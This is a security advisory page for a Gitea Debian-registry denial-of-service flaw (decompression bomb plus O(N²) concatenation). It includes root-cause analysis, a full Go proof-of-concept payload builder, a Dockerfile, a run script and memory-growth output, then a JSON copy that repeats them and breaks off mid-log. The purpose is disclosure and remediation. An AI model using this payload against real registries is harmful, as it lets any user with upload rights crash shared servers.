Vulnerability-Lookup

GHSA-6HM7-3PWJ-22RM

Vulnerability from github – Published: 2026-07-21 20:24 – Updated: 2026-07-21 20:24

Summary

Gitea: Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload

Details

Gitea's Debian package registry parser contains an unbounded decompression vulnerability in ParseControlFile. When processing an uploaded .deb file, the parser decompresses control.tar.gz and copies the entire uncompressed stream into a strings.Builder via a TeeReader, with no limit on how much data is read. Because DEFLATE compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB .deb payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with += at modules/packages/debian/metadata.go:161 inside a loop, producing O(N²) allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at routers/api/packages/debian/debian.go:146.

Root Cause

There are two distinct root causes that can be exploited independently or together.

1. Unbounded decompression (decompression bomb) ParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110

The resulting inner reader is passed directly to the tar reader, and from there to ParseControlFile. Inside ParseControlFile, every byte that the bufio.Scanner reads from the decompressed stream is simultaneously written into an unbounded strings.Builder via io.TeeReader:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150

There is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with io.LimitReader before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.

2. O(N²) string concatenation For each continuation line belonging to the Description field, the parser appends to a plain string with +=:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164

Because Go strings are immutable, every += allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.

Reproducing

I have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with.

This has been reproduced on commit 9155a81b9daf1d46b2380aa91271e623ac947c1e.

All the files go in the gitea file directory.

cmd/poc/main.go

package main

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "fmt"
    "io"
    "os"
    "runtime"
    "strings"
    "time"

    "github.com/blakesmith/ar"

    debian_module "gitea.dev/modules/packages/debian"
)

// targetUncompressed is the desired size of the uncompressed control file.
// Set comfortably above the 12 GB container limit so the OOM kill is reliable.
const targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB

// padLine is the filler field written after the required package fields.
// Using an unknown field key ("X") means the parser discards the value but the
// TeeReader still copies every byte into control.Builder — that is the bug.
// Unlike Description continuation lines this does NOT trigger the O(N²) path,
// so memory exhaustion is purely linear and fast.
const padLine = "X: a\n" // 5 bytes

// controlHeader is a minimal valid Debian control file preamble.
const controlHeader = "Package: evil\n" +
    "Version: 1.0\n" +
    "Architecture: amd64\n" +
    "Maintainer: Evil Hacker <evil@evil.com>\n" +
    "Description: exploit\n"

func printMem() {
    var m runtime.MemStats
    runtime.ReadMemStats(&m)
    // Print RSS-equivalent (HeapSys + StackSys covers most process memory).
    fmt.Printf("[mem] HeapAlloc=%.2f GB  Sys=%.2f GB  TotalAlloc=%.2f GB\n",
        float64(m.HeapAlloc)/1e9,
        float64(m.Sys)/1e9,
        float64(m.TotalAlloc)/1e9,
    )
}

// buildControlTarGz streams a gzip-compressed tar archive containing a single
// "control" entry whose uncompressed size is ~targetUncompressed bytes.
// Writing is done in large batches so the loop itself is fast; gzip compresses
// the repetitive content to a fraction of its original size.
func buildControlTarGz(w io.Writer) error {
    gzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
    if err != nil {
        return fmt.Errorf("gzip.NewWriter: %w", err)
    }
    tw := tar.NewWriter(gzw)

    numPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)
    totalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))

    if err := tw.WriteHeader(&tar.Header{
        Name:     "./control",
        Mode:     0o644,
        Size:     totalSize,
        ModTime:  time.Now(),
        Typeflag: tar.TypeReg,
    }); err != nil {
        return fmt.Errorf("tar WriteHeader: %w", err)
    }
    if _, err := tw.Write([]byte(controlHeader)); err != nil {
        return fmt.Errorf("write header: %w", err)
    }

    // Write padLine in 5 MB batches (1 M lines × 5 bytes).
    const batchLines = 1_000_000
    batch := []byte(strings.Repeat(padLine, batchLines))
    fullBatches := numPadLines / batchLines
    remainder := numPadLines % batchLines

    fmt.Printf("  Streaming %d lines (%.1f GB) through gzip...\n",
        numPadLines, float64(totalSize)/1e9)

    t0 := time.Now()
    for i := range fullBatches {
        if _, err := tw.Write(batch); err != nil {
            return fmt.Errorf("batch write: %w", err)
        }
        if i%500 == 0 && i > 0 {
            pct := float64(i) / float64(fullBatches) * 100
            fmt.Printf("  ... %.0f%% (%.1fs)\n", pct, time.Since(t0).Seconds())
        }
    }
    if remainder > 0 {
        if _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {
            return fmt.Errorf("remainder write: %w", err)
        }
    }

    if err := tw.Close(); err != nil {
        return fmt.Errorf("tar close: %w", err)
    }
    if err := gzw.Close(); err != nil {
        return fmt.Errorf("gzip close: %w", err)
    }
    fmt.Printf("  Done in %.1fs\n", time.Since(t0).Seconds())
    return nil
}

// buildDeb writes a complete .deb (ar archive) to w.  The control.tar.gz member
// is the bomb; data.tar.gz is empty.
func buildDeb(w io.Writer) error {
    // Buffer control.tar.gz first so we know its compressed size for the ar header.
    var ctrlBuf bytes.Buffer
    fmt.Println("[phase 1] Generating control.tar.gz (compressed payload)...")
    if err := buildControlTarGz(&ctrlBuf); err != nil {
        return err
    }
    ctrlBytes := ctrlBuf.Bytes()
    fmt.Printf("  control.tar.gz compressed size: %.2f MB\n", float64(len(ctrlBytes))/1e6)

    // Empty data.tar.gz
    var dataBuf bytes.Buffer
    dgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed)
    tar.NewWriter(dgzw).Close()
    dgzw.Close()
    dataBytes := dataBuf.Bytes()

    arw := ar.NewWriter(w)
    if err := arw.WriteGlobalHeader(); err != nil {
        return err
    }
    now := time.Now()

    for _, member := range []struct {
        name string
        data []byte
    }{
        {"debian-binary", []byte("2.0\n")},
        {"control.tar.gz", ctrlBytes},
        {"data.tar.gz", dataBytes},
    } {
        if err := arw.WriteHeader(&ar.Header{
            Name:    member.name,
            Size:    int64(len(member.data)),
            Mode:    0o644,
            ModTime: now,
        }); err != nil {
            return fmt.Errorf("ar header %s: %w", member.name, err)
        }
        if _, err := arw.Write(member.data); err != nil {
            return fmt.Errorf("ar write %s: %w", member.name, err)
        }
    }
    return nil
}

func main() {
    fmt.Println("=== Gitea Debian Parser — Decompression Bomb PoC ===")
    fmt.Printf("Target uncompressed control file size: %.1f GB\n", float64(targetUncompressed)/1e9)
    fmt.Printf("Container memory limit: 12 GB\n\n")

    // Background goroutine prints memory stats every 2 s.
    go func() {
        for range time.Tick(2 * time.Second) {
            printMem()
        }
    }()

    // Phase 1 — create the payload and save it to a temp file.
    // Writing to disk keeps the ~200 MB compressed payload out of the heap
    // before we start the parse phase.
    tmp, err := os.CreateTemp("", "evil-*.deb")
    if err != nil {
        fmt.Fprintf(os.Stderr, "CreateTemp: %v\n", err)
        os.Exit(1)
    }
    defer os.Remove(tmp.Name())
    defer tmp.Close()

    t0 := time.Now()
    if err := buildDeb(tmp); err != nil {
        fmt.Fprintf(os.Stderr, "buildDeb: %v\n", err)
        os.Exit(1)
    }
    sz, _ := tmp.Seek(0, io.SeekCurrent)
    fmt.Printf("\nPayload .deb on disk: %.2f MB  (took %.1fs)\n\n", float64(sz)/1e6, time.Since(t0).Seconds())

    // Phase 2 — call ParsePackage, mirroring UploadPackageFile at
    // routers/api/packages/debian/debian.go:146.
    // The TeeReader inside ParseControlFile (metadata.go:149) will copy the
    // entire 15 GB decompressed stream into control.Builder, exhausting the
    // 12 GB container limit and triggering an OOM kill.
    fmt.Println("[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...")
    fmt.Println("          Memory will grow until the container is OOM-killed.")
    printMem()

    if _, err := tmp.Seek(0, io.SeekStart); err != nil {
        fmt.Fprintf(os.Stderr, "seek: %v\n", err)
        os.Exit(1)
    }

    t1 := time.Now()
    _, parseErr := debian_module.ParsePackage(tmp)
    // We only reach here if ParsePackage returns before OOM (e.g. scanner error).
    fmt.Printf("\nParsePackage returned after %.1fs: %v\n", time.Since(t1).Seconds(), parseErr)
    printMem()
}

Dockerfile.poc

FROM golang:1.26-bookworm AS builder

WORKDIR /src
# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian
# and github.com/blakesmith/ar via the existing go.mod/go.sum.
COPY . .

# Build only the PoC binary; ignore the rest of the tree.
RUN go build -o /poc ./cmd/poc/

# ── runtime image ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim
COPY --from=builder /poc /poc
ENTRYPOINT ["/poc"]

Now run the PoC in the Docker container with:

#!/usr/bin/env bash
set -euo pipefail

IMAGE=gitea-debian-poc

echo "=== Building Docker image ==="
docker build -f Dockerfile.poc -t "$IMAGE" .

echo ""
echo "=== Running PoC (memory limit: 12 GB) ==="
echo "    The container will be OOM-killed once memory is exhausted."
echo ""

# --memory caps RSS; --memory-swap equal to --memory disables swap.
# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.
docker run --rm \
  --memory=12g \
  --memory-swap=12g \
  --name gitea-poc \
  "$IMAGE"

EXIT=$?
echo ""
if [ $EXIT -eq 137 ]; then
  echo "Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed."
else
  echo "Container exited with code $EXIT."
fi

You will see the following when running the container (see the heap allocation growing towards the end):

=== Building Docker image ===
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
            Install the buildx component to build images with BuildKit:
            https://docs.docker.com/go/buildx/

Sending build context to Docker daemon  59.32MB
Step 1/7 : FROM golang:1.26-bookworm AS builder
 ---> eafdda676c2e
Step 2/7 : WORKDIR /src
 ---> Using cache
 ---> db52a8f73485
Step 3/7 : COPY . .
 ---> Using cache
 ---> 4caf57c6e889
Step 4/7 : RUN go build -o /poc ./cmd/poc/
 ---> Using cache
 ---> 286afcb05d0e
Step 5/7 : FROM debian:bookworm-slim
 ---> f54f5c8e2e12
Step 6/7 : COPY --from=builder /poc /poc
 ---> Using cache
 ---> d7d0b269df49
Step 7/7 : ENTRYPOINT ["/poc"]
 ---> Using cache
 ---> b233faaad561
Successfully built b233faaad561
Successfully tagged gitea-debian-poc:latest

=== Running PoC (memory limit: 12 GB) ===
    The container will be OOM-killed once memory is exhausted.

=== Gitea Debian Parser — Decompression Bomb PoC ===
Target uncompressed control file size: 16.1 GB
Container memory limit: 12 GB

[phase 1] Generating control.tar.gz (compressed payload)...
  Streaming 3221225450 lines (16.1 GB) through gzip...
[mem] HeapAlloc=0.04 GB  Sys=0.08 GB  TotalAlloc=0.05 GB
  ... 16% (2.1s)
  ... 31% (3.9s)
[mem] HeapAlloc=0.07 GB  Sys=0.11 GB  TotalAlloc=0.08 GB
  ... 47% (5.8s)
[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB
  ... 62% (7.4s)
[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB
  ... 78% (9.0s)
[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB
  ... 93% (10.8s)
  Done in 11.5s
  control.tar.gz compressed size: 83.07 MB

Payload .deb on disk: 83.07 MB  (took 11.6s)

[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...
          Memory will grow until the container is OOM-killed.
[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB
[mem] HeapAlloc=0.41 GB  Sys=0.44 GB  TotalAlloc=0.48 GB
[mem] HeapAlloc=0.25 GB  Sys=0.61 GB  TotalAlloc=1.63 GB
[mem] HeapAlloc=0.63 GB  Sys=0.97 GB  TotalAlloc=2.63 GB
[mem] HeapAlloc=0.83 GB  Sys=1.52 GB  TotalAlloc=3.80 GB
[mem] HeapAlloc=1.39 GB  Sys=2.00 GB  TotalAlloc=5.34 GB
[mem] HeapAlloc=1.37 GB  Sys=2.00 GB  TotalAlloc=5.86 GB
[mem] HeapAlloc=1.42 GB  Sys=2.60 GB  TotalAlloc=6.97 GB
[mem] HeapAlloc=1.40 GB  Sys=3.35 GB  TotalAlloc=8.26 GB
[mem] HeapAlloc=2.25 GB  Sys=3.36 GB  TotalAlloc=9.11 GB
[mem] HeapAlloc=1.97 GB  Sys=4.28 GB  TotalAlloc=10.48 GB
[mem] HeapAlloc=2.73 GB  Sys=4.29 GB  TotalAlloc=11.23 GB
[mem] HeapAlloc=2.77 GB  Sys=5.45 GB  TotalAlloc=12.67 GB
[mem] HeapAlloc=2.90 GB  Sys=5.45 GB  TotalAlloc=13.46 GB
[mem] HeapAlloc=3.57 GB  Sys=5.46 GB  TotalAlloc=14.13 GB
[mem] HeapAlloc=2.94 GB  Sys=5.46 GB  TotalAlloc=16.07 GB
[mem] HeapAlloc=3.72 GB  Sys=5.47 GB  TotalAlloc=16.85 GB
[mem] HeapAlloc=4.50 GB  Sys=5.48 GB  TotalAlloc=17.64 GB
[mem] HeapAlloc=5.30 GB  Sys=7.28 GB  TotalAlloc=19.58 GB
[mem] HeapAlloc=3.82 GB  Sys=7.28 GB  TotalAlloc=20.17 GB
[mem] HeapAlloc=4.66 GB  Sys=7.29 GB  TotalAlloc=21.01 GB
[mem] HeapAlloc=5.33 GB  Sys=7.29 GB  TotalAlloc=21.67 GB
[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB
[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB
[mem] HeapAlloc=4.72 GB  Sys=9.56 GB  TotalAlloc=25.09 GB
[mem] HeapAlloc=5.54 GB  Sys=9.56 GB  TotalAlloc=25.90 GB
[mem] HeapAlloc=6.28 GB  Sys=9.57 GB  TotalAlloc=26.64 GB
[mem] HeapAlloc=7.15 GB  Sys=9.59 GB  TotalAlloc=27.51 GB
[mem] HeapAlloc=8.27 GB  Sys=12.40 GB  TotalAlloc=30.43 GB
[mem] HeapAlloc=5.52 GB  Sys=12.40 GB  TotalAlloc=30.90 GB
[mem] HeapAlloc=6.35 GB  Sys=12.40 GB  TotalAlloc=31.74 GB
[mem] HeapAlloc=7.18 GB  Sys=12.40 GB  TotalAlloc=32.57 GB
[mem] HeapAlloc=8.01 GB  Sys=12.41 GB  TotalAlloc=33.39 GB
[mem] HeapAlloc=8.80 GB  Sys=12.43 GB  TotalAlloc=34.19 GB

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:24:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Gitea\u0027s Debian package registry parser contains an unbounded decompression vulnerability in [ParseControlFile](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L140). When processing an uploaded `.deb` file, the parser decompresses `control.tar.gz` and copies the entire uncompressed stream into a `strings.Builder` via a `TeeReader`, with no limit on how much data is read. Because `DEFLATE` compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB `.deb` payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with `+=` at [modules/packages/debian/metadata.go:161](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L161) inside a loop, producing `O(N\u00b2)` allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at [routers/api/packages/debian/debian.go:146](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/routers/api/packages/debian/debian.go#L146).\n\n### Root Cause\n\nThere are two distinct root causes that can be exploited independently or together.\n\n**1. Unbounded decompression (decompression bomb)**\nParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110\n\nThe resulting inner reader is passed directly to the tar reader, and from there to `ParseControlFile`. Inside `ParseControlFile`,\nevery byte that the `bufio.Scanner` reads from the decompressed stream is simultaneously written into an unbounded\n`strings.Builder` via `io.TeeReader`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150\n\nThere is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase \u2014 pub, conan, and cargo \u2014 all wrap their readers with `io.LimitReader` before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.\n\n**2. O(N\u00b2) string concatenation**\nFor each continuation line belonging to the Description field, the parser appends to a plain string with +=:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164\n\nBecause Go strings are immutable, every `+=` allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N\u00b2) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.\n\n### Reproducing\nI have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with. \n\nThis has been reproduced on commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`.\n\nAll the files go in the gitea file directory. \n\n`cmd/poc/main.go`\n```go\npackage main\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/blakesmith/ar\"\n\n\tdebian_module \"gitea.dev/modules/packages/debian\"\n)\n\n// targetUncompressed is the desired size of the uncompressed control file.\n// Set comfortably above the 12 GB container limit so the OOM kill is reliable.\nconst targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB\n\n// padLine is the filler field written after the required package fields.\n// Using an unknown field key (\"X\") means the parser discards the value but the\n// TeeReader still copies every byte into control.Builder \u2014 that is the bug.\n// Unlike Description continuation lines this does NOT trigger the O(N\u00b2) path,\n// so memory exhaustion is purely linear and fast.\nconst padLine = \"X: a\\n\" // 5 bytes\n\n// controlHeader is a minimal valid Debian control file preamble.\nconst controlHeader = \"Package: evil\\n\" +\n\t\"Version: 1.0\\n\" +\n\t\"Architecture: amd64\\n\" +\n\t\"Maintainer: Evil Hacker \u003cevil@evil.com\u003e\\n\" +\n\t\"Description: exploit\\n\"\n\nfunc printMem() {\n\tvar m runtime.MemStats\n\truntime.ReadMemStats(\u0026m)\n\t// Print RSS-equivalent (HeapSys + StackSys covers most process memory).\n\tfmt.Printf(\"[mem] HeapAlloc=%.2f GB  Sys=%.2f GB  TotalAlloc=%.2f GB\\n\",\n\t\tfloat64(m.HeapAlloc)/1e9,\n\t\tfloat64(m.Sys)/1e9,\n\t\tfloat64(m.TotalAlloc)/1e9,\n\t)\n}\n\n// buildControlTarGz streams a gzip-compressed tar archive containing a single\n// \"control\" entry whose uncompressed size is ~targetUncompressed bytes.\n// Writing is done in large batches so the loop itself is fast; gzip compresses\n// the repetitive content to a fraction of its original size.\nfunc buildControlTarGz(w io.Writer) error {\n\tgzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"gzip.NewWriter: %w\", err)\n\t}\n\ttw := tar.NewWriter(gzw)\n\n\tnumPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)\n\ttotalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))\n\n\tif err := tw.WriteHeader(\u0026tar.Header{\n\t\tName:     \"./control\",\n\t\tMode:     0o644,\n\t\tSize:     totalSize,\n\t\tModTime:  time.Now(),\n\t\tTypeflag: tar.TypeReg,\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"tar WriteHeader: %w\", err)\n\t}\n\tif _, err := tw.Write([]byte(controlHeader)); err != nil {\n\t\treturn fmt.Errorf(\"write header: %w\", err)\n\t}\n\n\t// Write padLine in 5 MB batches (1 M lines \u00d7 5 bytes).\n\tconst batchLines = 1_000_000\n\tbatch := []byte(strings.Repeat(padLine, batchLines))\n\tfullBatches := numPadLines / batchLines\n\tremainder := numPadLines % batchLines\n\n\tfmt.Printf(\"  Streaming %d lines (%.1f GB) through gzip...\\n\",\n\t\tnumPadLines, float64(totalSize)/1e9)\n\n\tt0 := time.Now()\n\tfor i := range fullBatches {\n\t\tif _, err := tw.Write(batch); err != nil {\n\t\t\treturn fmt.Errorf(\"batch write: %w\", err)\n\t\t}\n\t\tif i%500 == 0 \u0026\u0026 i \u003e 0 {\n\t\t\tpct := float64(i) / float64(fullBatches) * 100\n\t\t\tfmt.Printf(\"  ... %.0f%% (%.1fs)\\n\", pct, time.Since(t0).Seconds())\n\t\t}\n\t}\n\tif remainder \u003e 0 {\n\t\tif _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {\n\t\t\treturn fmt.Errorf(\"remainder write: %w\", err)\n\t\t}\n\t}\n\n\tif err := tw.Close(); err != nil {\n\t\treturn fmt.Errorf(\"tar close: %w\", err)\n\t}\n\tif err := gzw.Close(); err != nil {\n\t\treturn fmt.Errorf(\"gzip close: %w\", err)\n\t}\n\tfmt.Printf(\"  Done in %.1fs\\n\", time.Since(t0).Seconds())\n\treturn nil\n}\n\n// buildDeb writes a complete .deb (ar archive) to w.  The control.tar.gz member\n// is the bomb; data.tar.gz is empty.\nfunc buildDeb(w io.Writer) error {\n\t// Buffer control.tar.gz first so we know its compressed size for the ar header.\n\tvar ctrlBuf bytes.Buffer\n\tfmt.Println(\"[phase 1] Generating control.tar.gz (compressed payload)...\")\n\tif err := buildControlTarGz(\u0026ctrlBuf); err != nil {\n\t\treturn err\n\t}\n\tctrlBytes := ctrlBuf.Bytes()\n\tfmt.Printf(\"  control.tar.gz compressed size: %.2f MB\\n\", float64(len(ctrlBytes))/1e6)\n\n\t// Empty data.tar.gz\n\tvar dataBuf bytes.Buffer\n\tdgzw, _ := gzip.NewWriterLevel(\u0026dataBuf, gzip.BestSpeed)\n\ttar.NewWriter(dgzw).Close()\n\tdgzw.Close()\n\tdataBytes := dataBuf.Bytes()\n\n\tarw := ar.NewWriter(w)\n\tif err := arw.WriteGlobalHeader(); err != nil {\n\t\treturn err\n\t}\n\tnow := time.Now()\n\n\tfor _, member := range []struct {\n\t\tname string\n\t\tdata []byte\n\t}{\n\t\t{\"debian-binary\", []byte(\"2.0\\n\")},\n\t\t{\"control.tar.gz\", ctrlBytes},\n\t\t{\"data.tar.gz\", dataBytes},\n\t} {\n\t\tif err := arw.WriteHeader(\u0026ar.Header{\n\t\t\tName:    member.name,\n\t\t\tSize:    int64(len(member.data)),\n\t\t\tMode:    0o644,\n\t\t\tModTime: now,\n\t\t}); err != nil {\n\t\t\treturn fmt.Errorf(\"ar header %s: %w\", member.name, err)\n\t\t}\n\t\tif _, err := arw.Write(member.data); err != nil {\n\t\t\treturn fmt.Errorf(\"ar write %s: %w\", member.name, err)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\tfmt.Println(\"=== Gitea Debian Parser \u2014 Decompression Bomb PoC ===\")\n\tfmt.Printf(\"Target uncompressed control file size: %.1f GB\\n\", float64(targetUncompressed)/1e9)\n\tfmt.Printf(\"Container memory limit: 12 GB\\n\\n\")\n\n\t// Background goroutine prints memory stats every 2 s.\n\tgo func() {\n\t\tfor range time.Tick(2 * time.Second) {\n\t\t\tprintMem()\n\t\t}\n\t}()\n\n\t// Phase 1 \u2014 create the payload and save it to a temp file.\n\t// Writing to disk keeps the ~200 MB compressed payload out of the heap\n\t// before we start the parse phase.\n\ttmp, err := os.CreateTemp(\"\", \"evil-*.deb\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"CreateTemp: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer os.Remove(tmp.Name())\n\tdefer tmp.Close()\n\n\tt0 := time.Now()\n\tif err := buildDeb(tmp); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"buildDeb: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tsz, _ := tmp.Seek(0, io.SeekCurrent)\n\tfmt.Printf(\"\\nPayload .deb on disk: %.2f MB  (took %.1fs)\\n\\n\", float64(sz)/1e6, time.Since(t0).Seconds())\n\n\t// Phase 2 \u2014 call ParsePackage, mirroring UploadPackageFile at\n\t// routers/api/packages/debian/debian.go:146.\n\t// The TeeReader inside ParseControlFile (metadata.go:149) will copy the\n\t// entire 15 GB decompressed stream into control.Builder, exhausting the\n\t// 12 GB container limit and triggering an OOM kill.\n\tfmt.Println(\"[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...\")\n\tfmt.Println(\"          Memory will grow until the container is OOM-killed.\")\n\tprintMem()\n\n\tif _, err := tmp.Seek(0, io.SeekStart); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"seek: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\tt1 := time.Now()\n\t_, parseErr := debian_module.ParsePackage(tmp)\n\t// We only reach here if ParsePackage returns before OOM (e.g. scanner error).\n\tfmt.Printf(\"\\nParsePackage returned after %.1fs: %v\\n\", time.Since(t1).Seconds(), parseErr)\n\tprintMem()\n}\n```\n\n`Dockerfile.poc`\n```docker\nFROM golang:1.26-bookworm AS builder\n\nWORKDIR /src\n# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian\n# and github.com/blakesmith/ar via the existing go.mod/go.sum.\nCOPY . .\n\n# Build only the PoC binary; ignore the rest of the tree.\nRUN go build -o /poc ./cmd/poc/\n\n# \u2500\u2500 runtime image \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM debian:bookworm-slim\nCOPY --from=builder /poc /poc\nENTRYPOINT [\"/poc\"]\n```\n\nNow run the PoC in the Docker container with:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nIMAGE=gitea-debian-poc\n\necho \"=== Building Docker image ===\"\ndocker build -f Dockerfile.poc -t \"$IMAGE\" .\n\necho \"\"\necho \"=== Running PoC (memory limit: 12 GB) ===\"\necho \"    The container will be OOM-killed once memory is exhausted.\"\necho \"\"\n\n# --memory caps RSS; --memory-swap equal to --memory disables swap.\n# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.\ndocker run --rm \\\n  --memory=12g \\\n  --memory-swap=12g \\\n  --name gitea-poc \\\n  \"$IMAGE\"\n\nEXIT=$?\necho \"\"\nif [ $EXIT -eq 137 ]; then\n  echo \"Container exited with code 137 (SIGKILL from OOM killer) \u2014 vulnerability confirmed.\"\nelse\n  echo \"Container exited with code $EXIT.\"\nfi\n```\n\nYou will see the following when running the container (see the heap allocation growing towards the end):\n\n```\n=== Building Docker image ===\nDEPRECATED: The legacy builder is deprecated and will be removed in a future release.\n            Install the buildx component to build images with BuildKit:\n            https://docs.docker.com/go/buildx/\n\nSending build context to Docker daemon  59.32MB\nStep 1/7 : FROM golang:1.26-bookworm AS builder\n ---\u003e eafdda676c2e\nStep 2/7 : WORKDIR /src\n ---\u003e Using cache\n ---\u003e db52a8f73485\nStep 3/7 : COPY . .\n ---\u003e Using cache\n ---\u003e 4caf57c6e889\nStep 4/7 : RUN go build -o /poc ./cmd/poc/\n ---\u003e Using cache\n ---\u003e 286afcb05d0e\nStep 5/7 : FROM debian:bookworm-slim\n ---\u003e f54f5c8e2e12\nStep 6/7 : COPY --from=builder /poc /poc\n ---\u003e Using cache\n ---\u003e d7d0b269df49\nStep 7/7 : ENTRYPOINT [\"/poc\"]\n ---\u003e Using cache\n ---\u003e b233faaad561\nSuccessfully built b233faaad561\nSuccessfully tagged gitea-debian-poc:latest\n\n=== Running PoC (memory limit: 12 GB) ===\n    The container will be OOM-killed once memory is exhausted.\n\n=== Gitea Debian Parser \u2014 Decompression Bomb PoC ===\nTarget uncompressed control file size: 16.1 GB\nContainer memory limit: 12 GB\n\n[phase 1] Generating control.tar.gz (compressed payload)...\n  Streaming 3221225450 lines (16.1 GB) through gzip...\n[mem] HeapAlloc=0.04 GB  Sys=0.08 GB  TotalAlloc=0.05 GB\n  ... 16% 